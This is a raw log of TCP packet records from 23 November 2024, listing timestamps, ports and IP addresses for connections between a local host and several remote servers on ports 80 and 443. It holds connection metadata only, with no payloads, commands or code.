Nov 23, 2024 18:22:13.600797892 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.600892067 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.600950003 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.600950003 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.601627111 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.601739883 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.601819992 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.602483034 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.602530956 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.602672100 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.602735043 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.603410959 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.603493929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.603502989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.603557110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.604197979 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.604284048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.604310989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.604417086 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.605113983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.605165005 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.605248928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.605396032 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.605922937 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.605981112 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.606057882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.606111050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.606740952 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.606817961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.606852055 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.606919050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.607628107 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.607717037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.607785940 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.607853889 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.608778000 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.608891010 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.608892918 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.608994007 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.609812975 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.609920025 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.609961987 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.610415936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.610476017 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.610492945 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.610526085 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.611006975 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.611089945 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.611124992 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.611205101 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.611877918 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.611969948 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.612023115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.612714052 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.612734079 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.612768888 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.612802982 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.613584995 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.613626957 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.613679886 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.614522934 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.614622116 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.614765882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.614891052 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.615320921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.615376949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.615401983 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.616154909 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.616230965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.616324902 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.616384029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.616993904 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.617049932 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.617188931 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.617295980 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.617868900 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.617903948 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.617917061 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.617949963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.618715048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.618940115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.618972063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.619036913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.619565010 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.619635105 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.619807959 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.619894028 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.620376110 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.620538950 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.620647907 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.620709896 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.621237040 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.621345043 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.621604919 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.621669054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.622127056 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.622282982 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.622364998 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.622488976 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.622998953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.623061895 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.623243093 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.623338938 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.623785973 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.623846054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.624119997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.624169111 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.624644041 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.624716997 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.624825954 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.624902964 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.625507116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.625608921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.625690937 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.626355886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.626447916 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.626462936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.626560926 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.627193928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.627259016 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.627293110 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.627808094 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.628077030 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.628149986 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.628211975 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.628360033 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.628905058 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.628954887 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.629034042 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:13.629359961 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:13.761758089 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:13.763802052 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:13.763823986 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:13.764405966 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:13.764411926 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:13.879472017 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:13.880065918 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:13.880099058 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:13.880471945 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:13.880476952 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.223900080 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.223975897 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.224061012 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.224210978 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.224241018 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.224252939 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.224261045 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.227101088 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.227139950 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.227210045 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.227339029 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.227354050 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.249825001 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.250267982 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.250284910 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.250679016 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.250685930 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.250787020 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.251027107 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.251040936 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.251382113 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.251389027 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.253958941 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.254520893 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.254529953 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.254935980 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.254940987 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.395601988 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.395670891 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.395714998 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.395920038 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.395936012 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.395941019 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.395946026 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.398303986 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.398332119 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.398494005 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.398689985 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.398703098 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.703641891 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.703720093 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.703808069 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.703926086 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.703938961 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.704014063 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.704019070 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.706449986 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.706484079 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.706614017 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.706713915 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.706723928 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.764733076 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.764894962 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.764969110 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.765028954 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.765028954 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.765043020 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.765053034 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.767117023 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.767158985 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.767240047 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.767370939 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.767399073 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.793243885 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.793323994 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.793445110 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.794855118 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.794855118 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.794889927 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.794904947 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.797292948 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.797307014 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:14.797441959 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.797665119 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:14.797674894 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:15.189975977 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:15.190072060 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:15.190171003 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:15.194123030 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:15.194159985 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:15.876956940 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:15.877185106 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:15.955038071 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:15.960011959 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:15.960036993 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:15.960772991 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:15.960779905 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.002204895 CET	80	49772	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:16.002285957 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:16.002386093 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:16.002490044 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:16.036005020 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:16.162400007 CET	80	49772	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:16.192959070 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.193439007 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.193453074 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.194063902 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.194067955 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.403052092 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.403199911 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.403259039 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.403357029 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.403379917 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.403393984 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.403402090 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.406034946 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.406125069 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.406222105 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.406389952 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.406428099 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.447489023 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.448246002 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.448266983 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.448673010 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.448678017 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.529730082 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:16.529827118 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:16.531291962 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:16.531335115 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:16.531763077 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:16.582321882 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:16.590564966 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.593226910 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.593260050 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.593789101 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.593797922 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.628417015 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.628777027 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.628788948 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.629328012 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.629332066 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.637571096 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:16.637599945 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:16.637712002 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:16.795221090 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.795296907 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.795406103 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.795542002 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.795555115 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.795564890 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.795569897 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.798964024 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.799010038 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.799107075 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.799242973 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.799261093 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.888860941 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.888947010 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.888998985 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.895319939 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.895334005 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.895348072 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.895353079 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.898528099 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.898595095 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:16.898685932 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.898835897 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:16.898866892 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.174191952 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.174267054 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.174432993 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.174542904 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.174550056 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.174566031 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.174570084 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.176460981 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.176531076 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.176604033 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.177525043 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.177553892 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.177618980 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.177720070 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.177720070 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.177732944 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.177742004 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.178611040 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.178626060 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.180006981 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.180023909 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.180107117 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.180252075 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:17.180263042 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:17.244779110 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:17.244921923 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:17.245102882 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:17.251260042 CET	49771	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:17.251267910 CET	443	49771	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:17.320940971 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:17.320960999 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:17.321038008 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:17.321293116 CET	49778	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:17.321306944 CET	443	49778	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:17.344197035 CET	80	49772	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:17.344269991 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:17.346251011 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:17.346575975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:17.470242023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:17.470252037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:17.470323086 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:17.470330954 CET	49779	80	192.168.2.4	185.215.113.16
